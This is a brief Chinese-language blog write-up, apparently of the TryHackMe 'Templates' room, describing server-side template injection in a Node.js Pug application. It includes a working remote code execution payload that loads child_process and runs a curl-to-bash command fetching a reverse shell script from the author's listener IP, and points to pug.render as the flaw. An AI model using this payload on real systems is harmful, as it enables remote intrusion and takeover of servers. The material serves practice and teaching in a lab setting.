TemplatesTHM
PUG模板SSTI
根据房间提示,是Nodejs的PUG模板SSTI
根据: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
尝试payload
#{7*7} |
返回49,存在SSTI,在本地写一个反弹shell然后开启web服务器,开启监听
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl http://10.11.77.28:8000/s.sh | bash')}()} |
拿到shell
app.js源码:
const express = require("express") |
value = pug.render(template) 这里存在模板注入,似乎express框架的SSTI都在render这里产生,render用于服务端渲染并且将html页面发送给客户端
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 MikannseのSekai!
评论
ValineDisqus